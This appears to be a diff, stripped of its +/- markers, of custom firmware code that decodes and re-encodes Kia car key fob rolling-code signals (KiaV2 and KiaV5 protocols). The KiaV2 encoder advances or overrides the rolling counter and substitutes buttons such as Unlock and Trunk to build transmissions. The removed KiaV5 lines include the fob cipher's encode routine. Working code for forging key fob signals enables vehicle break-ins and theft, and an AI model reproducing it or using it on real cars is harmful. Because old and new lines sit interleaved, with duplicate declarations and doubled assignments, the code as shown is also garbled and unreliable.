||||
instance->generic.serial = (uint32_t)((instance->generic.data >> 20) & 0xFFFFFFFF);
|
||||
instance->generic.btn = (uint8_t)((instance->generic.data >> 16) & 0x0F);
|
||||
|
||||
|
||||
uint16_t raw_count = (uint16_t)((instance->generic.data >> 4) & 0xFFF);
|
||||
instance->generic.cnt = ((raw_count >> 4) | (raw_count << 8)) & 0xFFF;
|
||||
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(instance->generic.btn);
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
|
||||
uint32_t override_cnt = 0;
|
||||
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
|
||||
instance->generic.cnt = override_cnt & 0xFFF;
|
||||
} else if(instance->generic.cnt < 0xFFF) {
|
||||
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
|
||||
if(instance->generic.cnt > 0xFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
}
|
||||
} else {
|
||||
instance->generic.cnt = 0;
|
||||
}
|
||||
|
||||
uint8_t btn = subghz_custom_btn_get();
|
||||
if(subghz_block_generic_global_button_override_get(&btn)) {
|
||||
instance->generic.btn = btn;
|
||||
} else if(btn != SUBGHZ_CUSTOM_BTN_OK) {
|
||||
instance->generic.btn = btn;
|
||||
}
|
||||
|
||||
uint64_t bit52 = instance->generic.data & (1ULL << 52);
|
||||
|
||||
|
||||
instance->encoder.repeat = 10;
|
||||
|
||||
uint64_t new_data = 0;
|
||||
new_data |= bit52;
|
||||
new_data |= ((uint64_t)instance->generic.serial << 20) & 0x000FFFFFFFF00000ULL;
|
||||
|
||||
|
||||
new_data |= 1ULL << 52;
|
||||
|
||||
new_data |= ((uint64_t)instance->generic.serial << 20) & 0xFFFFFFFFF00000ULL;
|
||||
|
||||
uint32_t uVar6 = ((uint32_t)(instance->generic.cnt & 0xFF) << 8) |
|
||||
((uint32_t)(instance->generic.btn & 0x0F) << 16) |
|
||||
((uint32_t)(instance->generic.cnt >> 4) & 0xF0);
|
||||
|
||||
new_data |= (uint64_t)uVar6;
|
||||
|
||||
|
||||
instance->generic.data = new_data;
|
||||
instance->generic.data_count_bit = 53;
|
||||
|
||||
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Encoder reconstruct: serial=0x%08lX, btn=0x%X, cnt=0x%03lX, uVar6=0x%05lX, data=0x%016llX",
|
||||
(unsigned long)instance->generic.serial,
|
||||
(unsigned int)instance->generic.btn,
|
||||
(unsigned long)instance->generic.cnt,
|
||||
(unsigned long)uVar6,
|
||||
(unsigned long long)instance->generic.data);
|
||||
|
||||
if(instance->encoder.upload == NULL) {
|
||||
instance->encoder.size_upload = KIA_V2_UPLOAD_CAPACITY;
|
||||
instance->encoder.upload =
|
||||
malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
}
|
||||
subghz_protocol_encoder_kia_v2_get_upload(instance);
|
||||
|
||||
if(!flipper_format_rewind(flipper_format)) {
|
||||
ret = SubGhzProtocolStatusErrorParserOthers;
|
||||
break;
|
||||
}
|
||||
|
||||
uint8_t key_data[sizeof(uint64_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint64_t); i++) {
|
||||
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
|
||||
ret = SubGhzProtocolStatusErrorParserKey;
|
||||
break;
|
||||
}
|
||||
|
||||
uint32_t temp_btn = instance->generic.btn;
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp_btn, 1);
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1);
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
FURI_LOG_I(
|
||||
TAG,
|
||||
"Encoder deserialized: repeat=%u, size_upload=%zu, is_running=%d, front=%zu",
|
||||
instance->encoder.repeat,
|
||||
instance->encoder.size_upload,
|
||||
instance->encoder.is_running,
|
||||
instance->encoder.front);
|
||||
|
||||
ret = SubGhzProtocolStatusOk;
|
||||
|
||||
} while(false);
|
||||
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_kia_v2_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderKiaV2* instance = malloc(sizeof(SubGhzProtocolDecoderKiaV2));
|
||||
SubGhzProtocolDecoderKiaV2* instance = calloc(1, sizeof(SubGhzProtocolDecoderKiaV2));
|
||||
if(!instance) {
|
||||
return NULL;
|
||||
}
|
||||
instance->base.protocol = &subghz_protocol_kia_v2;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
@@ -308,22 +289,28 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case KiaV2DecoderStepReset:
|
||||
if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_long) < subghz_protocol_kia_v2_const.te_delta) {
|
||||
if((level) && (DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_long) <
|
||||
subghz_protocol_kia_v2_const.te_delta)) {
|
||||
instance->decoder.parser_step = KiaV2DecoderStepCheckPreamble;
|
||||
instance->decoder.te_last = duration;
|
||||
instance->header_count = 0;
|
||||
manchester_advance(instance->manchester_state, ManchesterEventReset,
|
||||
&instance->manchester_state, NULL);
|
||||
manchester_advance(
|
||||
instance->manchester_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_state,
|
||||
NULL);
|
||||
}
|
||||
break;
|
||||
|
||||
case KiaV2DecoderStepCheckPreamble:
|
||||
if(level) {
|
||||
if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_long) <
|
||||
subghz_protocol_kia_v2_const.te_delta) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->header_count++;
|
||||
} else if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
|
||||
subghz_protocol_kia_v2_const.te_delta) {
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
|
||||
subghz_protocol_kia_v2_const.te_delta) {
|
||||
if(instance->header_count >= 100) {
|
||||
instance->header_count = 0;
|
||||
instance->decoder.decode_data = 0;
|
||||
@@ -341,8 +328,9 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
|
||||
subghz_protocol_kia_v2_const.te_delta) {
|
||||
instance->header_count++;
|
||||
instance->decoder.te_last = duration;
|
||||
} else if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
|
||||
subghz_protocol_kia_v2_const.te_delta) {
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
|
||||
subghz_protocol_kia_v2_const.te_delta) {
|
||||
instance->decoder.te_last = duration;
|
||||
} else {
|
||||
instance->decoder.parser_step = KiaV2DecoderStepReset;
|
||||
@@ -352,7 +340,6 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
|
||||
|
||||
case KiaV2DecoderStepCollectRawBits: {
|
||||
ManchesterEvent event;
|
||||
|
||||
if(DURATION_DIFF(duration, subghz_protocol_kia_v2_const.te_short) <
|
||||
subghz_protocol_kia_v2_const.te_delta) {
|
||||
event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
|
||||
@@ -365,8 +352,8 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
|
||||
}
|
||||
|
||||
bool data_bit;
|
||||
if(manchester_advance(instance->manchester_state, event,
|
||||
&instance->manchester_state, &data_bit)) {
|
||||
if(manchester_advance(
|
||||
instance->manchester_state, event, &instance->manchester_state, &data_bit)) {
|
||||
instance->decoder.decode_data = (instance->decoder.decode_data << 1) | data_bit;
|
||||
instance->decoder.decode_count_bit++;
|
||||
|
||||
@@ -374,7 +361,8 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
instance->generic.serial = (uint32_t)((instance->generic.data >> 20) & 0xFFFFFFFF);
|
||||
instance->generic.serial =
|
||||
(uint32_t)((instance->generic.data >> 20) & 0xFFFFFFFF);
|
||||
instance->generic.btn = (uint8_t)((instance->generic.data >> 16) & 0x0F);
|
||||
|
||||
uint16_t raw_count = (uint16_t)((instance->generic.data >> 4) & 0xFFF);
|
||||
@@ -387,7 +375,6 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->header_count = 0;
|
||||
instance->decoder.parser_step = KiaV2DecoderStepReset;
|
||||
manchester_advance(instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
|
||||
}
|
||||
}
|
||||
break;
|
||||
@@ -398,11 +385,11 @@ void subghz_protocol_decoder_kia_v2_feed(void* context, bool level, uint32_t dur
|
||||
uint8_t subghz_protocol_decoder_kia_v2_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderKiaV2* instance = context;
|
||||
|
||||
|
||||
uint32_t hash = instance->generic.serial;
|
||||
hash ^= (instance->generic.btn << 24);
|
||||
hash ^= (instance->generic.cnt << 12);
|
||||
|
||||
|
||||
return (uint8_t)(hash ^ (hash >> 8) ^ (hash >> 16) ^ (hash >> 24));
|
||||
}
|
||||
|
||||
@@ -412,49 +399,50 @@ SubGhzProtocolStatus subghz_protocol_decoder_kia_v2_serialize(
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderKiaV2* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
|
||||
SubGhzProtocolStatus ret =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
if(ret != SubGhzProtocolStatusOk) return ret;
|
||||
|
||||
uint32_t crc = instance->generic.data & 0x0F;
|
||||
if(!flipper_format_write_uint32(flipper_format, "CRC", &crc, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
uint32_t raw_count = (uint16_t)((instance->generic.data >> 4) & 0xFFF);
|
||||
if(!flipper_format_write_uint32(flipper_format, "RawCnt", &raw_count, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_kia_v2_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_kia_v2_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderKiaV2* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_kia_v2_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
static const char* subghz_protocol_kia_v2_get_name_button(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case 0x1: return "Lock";
|
||||
case 0x2: return "Unlock";
|
||||
case 0x3: return "Trunk";
|
||||
case 0x4: return "Panic";
|
||||
default: return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_kia_v2_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderKiaV2* instance = context;
|
||||
|
||||
subghz_protocol_kia_v2_check_remote_controller(instance);
|
||||
uint8_t crc_received = instance->generic.data & 0x0F;
|
||||
uint8_t crc_calculated = kia_v2_calculate_crc(instance->generic.data);
|
||||
bool crc_ok = (crc_received == crc_calculated);
|
||||
uint8_t crc = instance->generic.data & 0x0F;
|
||||
|
||||
bool crc_valid = crc == kia_v2_calculate_crc(instance->generic.data);
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%013llX\r\n"
|
||||
"Sn:%08lX Cnt:%03lX\r\n"
|
||||
"Btn:%02X:[%s]\r\n"
|
||||
"CRC:%X %s",
|
||||
"Sn:%08lX Btn:%X\r\n"
|
||||
"Cnt:%03lX CRC:%X - %s\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
instance->generic.data,
|
||||
instance->generic.serial,
|
||||
instance->generic.cnt,
|
||||
instance->generic.btn,
|
||||
subghz_protocol_kia_v2_get_name_button(instance->generic.btn),
|
||||
crc_received,
|
||||
crc_ok ? "(OK)" : "(FAIL)");
|
||||
instance->generic.cnt,
|
||||
crc,
|
||||
crc_valid ? "OK" : "BAD");
|
||||
}
|
||||
|
||||
@@ -1,13 +1,10 @@
|
||||
#include "kia_v5.h"
|
||||
|
||||
#include "../blocks/const.h"
|
||||
#include "../blocks/decoder.h"
|
||||
#include "../blocks/encoder.h"
|
||||
#include "../blocks/generic.h"
|
||||
#include "../blocks/math.h"
|
||||
#include "../blocks/custom_btn_i.h"
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <lib/toolbox/manchester_encoder.h>
|
||||
|
||||
#define TAG "SubGhzProtocolKiaV5"
|
||||
|
||||
@@ -20,7 +17,7 @@ static const SubGhzBlockConst subghz_protocol_kia_v5_const = {
|
||||
|
||||
static const uint8_t keystore_bytes[] = {0x53, 0x54, 0x46, 0x52, 0x4b, 0x45, 0x30, 0x30};
|
||||
|
||||
static uint8_t reverse_byte(uint8_t b) {
|
||||
static uint8_t kia_v5_reverse_byte(uint8_t b) {
|
||||
uint8_t r = 0;
|
||||
for(int i = 0; i < 8; i++) {
|
||||
if(b & (1 << i)) r |= (1 << (7 - i));
|
||||
@@ -28,29 +25,16 @@ static uint8_t reverse_byte(uint8_t b) {
|
||||
return r;
|
||||
}
|
||||
|
||||
static uint64_t bit_reverse_64(uint64_t input) {
|
||||
static uint64_t kia_v5_bit_reverse_64(uint64_t input) {
|
||||
uint64_t output = 0;
|
||||
for(int i = 0; i < 8; i++) {
|
||||
uint8_t byte = (input >> (i * 8)) & 0xFF;
|
||||
uint8_t reversed = reverse_byte(byte);
|
||||
uint8_t reversed = kia_v5_reverse_byte(byte);
|
||||
output |= ((uint64_t)reversed << ((7 - i) * 8));
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
static uint8_t kia_v5_calculate_crc(uint64_t data) {
|
||||
uint8_t crc = 0;
|
||||
for(int i = 63; i >= 0; i--) {
|
||||
const uint8_t bit = (data >> i) & 1U;
|
||||
const uint8_t shifted_out = (crc >> 1U) & 1U;
|
||||
crc = (uint8_t)(((crc & 1U) << 1U) | bit);
|
||||
if(shifted_out) {
|
||||
crc ^= 3U;
|
||||
}
|
||||
}
|
||||
return (uint8_t)(crc & 3U);
|
||||
}
|
||||
|
||||
static uint16_t mixer_decode(uint32_t encrypted) {
|
||||
uint8_t s0 = (encrypted & 0xFF);
|
||||
uint8_t s1 = (encrypted >> 8) & 0xFF;
|
||||
@@ -68,6 +52,7 @@ static uint16_t mixer_decode(uint32_t encrypted) {
|
||||
} else {
|
||||
base = (s3 & 0x02) == 0 ? 0x3A : 0x5C;
|
||||
}
|
||||
|
||||
if(s2 & 0x08) {
|
||||
base = (((base >> 4) & 0x0F) | ((base & 0x0F) << 4)) & 0xFF;
|
||||
}
|
||||
@@ -77,16 +62,26 @@ static uint16_t mixer_decode(uint32_t encrypted) {
|
||||
if(s0 & 0x01) {
|
||||
base = (base << 1) & 0xFF;
|
||||
}
|
||||
|
||||
uint8_t temp = (s3 ^ s1) & 0xFF;
|
||||
s3 = ((s3 & 0x7F) << 1) & 0xFF;
|
||||
if(s2 & 0x80) s3 |= 0x01;
|
||||
if(s2 & 0x80) {
|
||||
s3 |= 0x01;
|
||||
}
|
||||
s2 = ((s2 & 0x7F) << 1) & 0xFF;
|
||||
if(s1 & 0x80) s2 |= 0x01;
|
||||
if(s1 & 0x80) {
|
||||
s2 |= 0x01;
|
||||
}
|
||||
s1 = ((s1 & 0x7F) << 1) & 0xFF;
|
||||
if(s0 & 0x80) s1 |= 0x01;
|
||||
if(s0 & 0x80) {
|
||||
s1 |= 0x01;
|
||||
}
|
||||
s0 = ((s0 & 0x7F) << 1) & 0xFF;
|
||||
|
||||
uint8_t chk = (base ^ (r ^ temp)) & 0xFF;
|
||||
if(chk & 0x80) s0 |= 0x01;
|
||||
if(chk & 0x80) {
|
||||
s0 |= 0x01;
|
||||
}
|
||||
r = ((r & 0x7F) << 1) & 0xFF;
|
||||
steps--;
|
||||
}
|
||||
@@ -95,102 +90,12 @@ static uint16_t mixer_decode(uint32_t encrypted) {
|
||||
return (s0 + (s1 << 8)) & 0xFFFF;
|
||||
}
|
||||
|
||||
static uint32_t mixer_encode(uint32_t serial, uint16_t counter, uint8_t button) {
|
||||
uint8_t s0 = (uint8_t)(((serial >> 8) & 0x0FU) | ((button & 0x0FU) << 4));
|
||||
uint8_t s1 = (uint8_t)((counter >> 8) & 0xFFU);
|
||||
uint8_t s2 = (uint8_t)(serial & 0xFFU);
|
||||
uint8_t s3 = (uint8_t)(counter & 0xFFU);
|
||||
|
||||
int ks_idx = 0;
|
||||
for(int round_i = 0; round_i < 18; round_i++) {
|
||||
uint8_t r = keystore_bytes[ks_idx] & 0xFFU;
|
||||
ks_idx = (ks_idx + 1) & 0x07;
|
||||
|
||||
uint8_t running_d = s3;
|
||||
for(int step = 0; step < 8; step++) {
|
||||
uint8_t base;
|
||||
if((s0 & 0x80U) == 0) {
|
||||
base = (s0 & 0x04U) == 0 ? 0x74U : 0x2EU;
|
||||
} else {
|
||||
base = (s0 & 0x04U) == 0 ? 0x3AU : 0x5CU;
|
||||
}
|
||||
|
||||
if(s2 & 0x10U) {
|
||||
base = (uint8_t)(((base >> 4) & 0x0FU) | ((base & 0x0FU) << 4));
|
||||
}
|
||||
if(s1 & 0x02U) {
|
||||
base = (uint8_t)((base & 0x3FU) << 2);
|
||||
}
|
||||
|
||||
uint8_t base_final = base;
|
||||
if(running_d & 0x02U) {
|
||||
base_final = (uint8_t)((base & 0x7FU) << 1);
|
||||
}
|
||||
|
||||
const bool carry_b = (s1 & 0x01U) != 0;
|
||||
const bool carry_c = (s2 & 0x01U) != 0;
|
||||
const bool carry_a = (s0 & 0x01U) != 0;
|
||||
|
||||
uint8_t new_d = (uint8_t)(running_d >> 1);
|
||||
if(carry_b) new_d |= 0x80U;
|
||||
|
||||
running_d ^= s2;
|
||||
|
||||
s1 = (uint8_t)(s1 >> 1);
|
||||
if(carry_c) s1 |= 0x80U;
|
||||
|
||||
s2 = (uint8_t)(s2 >> 1);
|
||||
if(carry_a) s2 |= 0x80U;
|
||||
|
||||
const uint8_t feedback = (uint8_t)(((running_d ^ r) << 7) ^ base_final);
|
||||
s0 = (uint8_t)(s0 >> 1);
|
||||
if(feedback & 0x80U) s0 |= 0x80U;
|
||||
|
||||
r = (uint8_t)(r >> 1);
|
||||
running_d = new_d;
|
||||
}
|
||||
s3 = running_d;
|
||||
}
|
||||
|
||||
return ((uint32_t)s0 << 24) | ((uint32_t)s2 << 16) | ((uint32_t)s1 << 8) | (uint32_t)s3;
|
||||
}
|
||||
|
||||
static uint64_t kia_v5_encode_data(uint32_t serial, uint16_t counter, uint8_t button) {
|
||||
serial &= 0x0FFFFFFFU;
|
||||
button &= 0x0FU;
|
||||
|
||||
const uint32_t encrypted = mixer_encode(serial, counter, button);
|
||||
const uint64_t yek =
|
||||
((uint64_t)button << 60) | ((uint64_t)serial << 32) | (uint64_t)encrypted;
|
||||
|
||||
return bit_reverse_64(yek);
|
||||
}
|
||||
|
||||
static uint8_t kia_v5_custom_to_btn(uint8_t custom_btn) {
|
||||
switch(custom_btn) {
|
||||
case 1: return 0x01; // Unlock
|
||||
case 2: return 0x02; // Lock
|
||||
case 3: return 0x04; // Trunk
|
||||
case 4: return 0x08; // Horn
|
||||
default: return 0x01;
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t kia_v5_btn_to_custom(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case 0x01: return 1; // Unlock
|
||||
case 0x02: return 2; // Lock
|
||||
case 0x04: return 3; // Trunk
|
||||
case 0x08: return 4; // Horn
|
||||
default: return 1;
|
||||
}
|
||||
}
|
||||
|
||||
struct SubGhzProtocolDecoderKiaV5 {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
uint16_t header_count;
|
||||
|
||||
ManchesterState manchester_state;
|
||||
uint64_t decoded_data;
|
||||
uint64_t saved_key;
|
||||
@@ -205,15 +110,37 @@ struct SubGhzProtocolEncoderKiaV5 {
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint64_t replay_data;
|
||||
uint8_t replay_crc;
|
||||
uint8_t replay_crc;
|
||||
};
|
||||
|
||||
#define KIA_V5_PREAMBLE_PAIRS 200U
|
||||
#define KIA_V5_SYNC_ENTRIES 4U
|
||||
#define KIA_V5_DATA_BITS 64U
|
||||
#define KIA_V5_CRC_BITS 3U
|
||||
#define KIA_V5_END_ENTRIES 2U
|
||||
#define KIA_V5_UPLOAD_CAPACITY \
|
||||
(KIA_V5_PREAMBLE_PAIRS * 2U + KIA_V5_SYNC_ENTRIES + \
|
||||
(KIA_V5_DATA_BITS + KIA_V5_CRC_BITS) * 2U + KIA_V5_END_ENTRIES)
|
||||
|
||||
typedef enum {
|
||||
KiaV5DecoderStepReset = 0,
|
||||
KiaV5DecoderStepCheckPreamble,
|
||||
KiaV5DecoderStepData,
|
||||
} KiaV5DecoderStep;
|
||||
|
||||
static uint8_t kia_v5_calculate_crc(uint64_t data) {
|
||||
uint8_t crc = 0;
|
||||
for(int i = 63; i >= 0; i--) {
|
||||
const uint8_t bit = (data >> i) & 1U;
|
||||
const uint8_t shifted_out = (crc >> 1U) & 1U;
|
||||
crc = (uint8_t)(((crc & 1U) << 1U) | bit);
|
||||
if(shifted_out) {
|
||||
crc ^= 3U;
|
||||
}
|
||||
}
|
||||
return (uint8_t)(crc & 3U);
|
||||
}
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_kia_v5_decoder = {
|
||||
.alloc = subghz_protocol_decoder_kia_v5_alloc,
|
||||
.free = subghz_protocol_decoder_kia_v5_free,
|
||||
@@ -244,69 +171,81 @@ const SubGhzProtocol subghz_protocol_kia_v5 = {
|
||||
|
||||
void* subghz_protocol_encoder_kia_v5_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderKiaV5* instance = malloc(sizeof(SubGhzProtocolEncoderKiaV5));
|
||||
|
||||
SubGhzProtocolEncoderKiaV5* instance = calloc(1, sizeof(SubGhzProtocolEncoderKiaV5));
|
||||
furi_check(instance);
|
||||
|
||||
instance->base.protocol = &subghz_protocol_kia_v5;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->encoder.size_upload = 400;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.repeat = 10;
|
||||
furi_check(instance->encoder.upload);
|
||||
instance->encoder.repeat = 6;
|
||||
instance->encoder.front = 0;
|
||||
instance->encoder.is_running = false;
|
||||
instance->replay_data = 0;
|
||||
instance->replay_crc = 0;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_kia_v5_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderKiaV5* instance = context;
|
||||
if(instance->encoder.upload) {
|
||||
free(instance->encoder.upload);
|
||||
}
|
||||
free(instance);
|
||||
}
|
||||
|
||||
static bool subghz_protocol_encoder_kia_v5_get_upload(SubGhzProtocolEncoderKiaV5* instance) {
|
||||
furi_assert(instance);
|
||||
|
||||
const uint32_t te_short = (uint32_t)subghz_protocol_kia_v5_const.te_short;
|
||||
const uint32_t te_long = (uint32_t)subghz_protocol_kia_v5_const.te_long;
|
||||
const uint32_t te_long = (uint32_t)subghz_protocol_kia_v5_const.te_long;
|
||||
size_t index = 0;
|
||||
|
||||
for(size_t i = 0; i < 80; i++) {
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
for(size_t i = 0; i < KIA_V5_PREAMBLE_PAIRS; i++) {
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
}
|
||||
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_long);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_long);
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
|
||||
for(int b = 63; b >= 0; b--) {
|
||||
const bool bv = ((instance->replay_data >> b) & 1ULL) != 0ULL;
|
||||
if(bv) {
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
} else {
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
}
|
||||
}
|
||||
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
|
||||
const bool crc_b1 = ((instance->replay_crc >> 1U) & 1U) != 0U;
|
||||
if(crc_b1) {
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
} else {
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
}
|
||||
|
||||
const bool crc_b0 = (instance->replay_crc & 1U) != 0U;
|
||||
if(crc_b0) {
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
} else {
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
}
|
||||
|
||||
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
|
||||
|
||||
instance->encoder.size_upload = index;
|
||||
instance->encoder.front = 0;
|
||||
@@ -319,10 +258,6 @@ SubGhzProtocolStatus
|
||||
SubGhzProtocolEncoderKiaV5* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
|
||||
static uint32_t call_count = 0;
|
||||
call_count++;
|
||||
FURI_LOG_I(TAG, "deserialize #%lu, cnt before=%04lX", call_count, (uint32_t)instance->generic.cnt);
|
||||
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) break;
|
||||
@@ -334,11 +269,12 @@ SubGhzProtocolStatus
|
||||
|
||||
uint32_t yek_high = 0, yek_low = 0;
|
||||
uint64_t yek = 0;
|
||||
flipper_format_rewind(flipper_format);
|
||||
if(flipper_format_read_uint32(flipper_format, "YekHi", &yek_high, 1) &&
|
||||
flipper_format_read_uint32(flipper_format, "YekLo", &yek_low, 1)) {
|
||||
yek = ((uint64_t)yek_high << 32) | yek_low;
|
||||
} else {
|
||||
yek = bit_reverse_64(instance->generic.data);
|
||||
yek = kia_v5_bit_reverse_64(instance->generic.data);
|
||||
}
|
||||
|
||||
instance->generic.serial = (uint32_t)((yek >> 32) & 0x0FFFFFFF);
|
||||
@@ -347,90 +283,48 @@ SubGhzProtocolStatus
|
||||
uint32_t encrypted = (uint32_t)(yek & 0xFFFFFFFF);
|
||||
instance->generic.cnt = mixer_decode(encrypted);
|
||||
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(kia_v5_btn_to_custom(instance->generic.btn));
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
|
||||
uint32_t override_cnt = 0;
|
||||
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
|
||||
instance->generic.cnt = override_cnt & 0xFFFF;
|
||||
} else {
|
||||
uint32_t mult = furi_hal_subghz_get_rolling_counter_mult();
|
||||
instance->generic.cnt = (instance->generic.cnt + mult) & 0xFFFF;
|
||||
}
|
||||
FURI_LOG_I(
|
||||
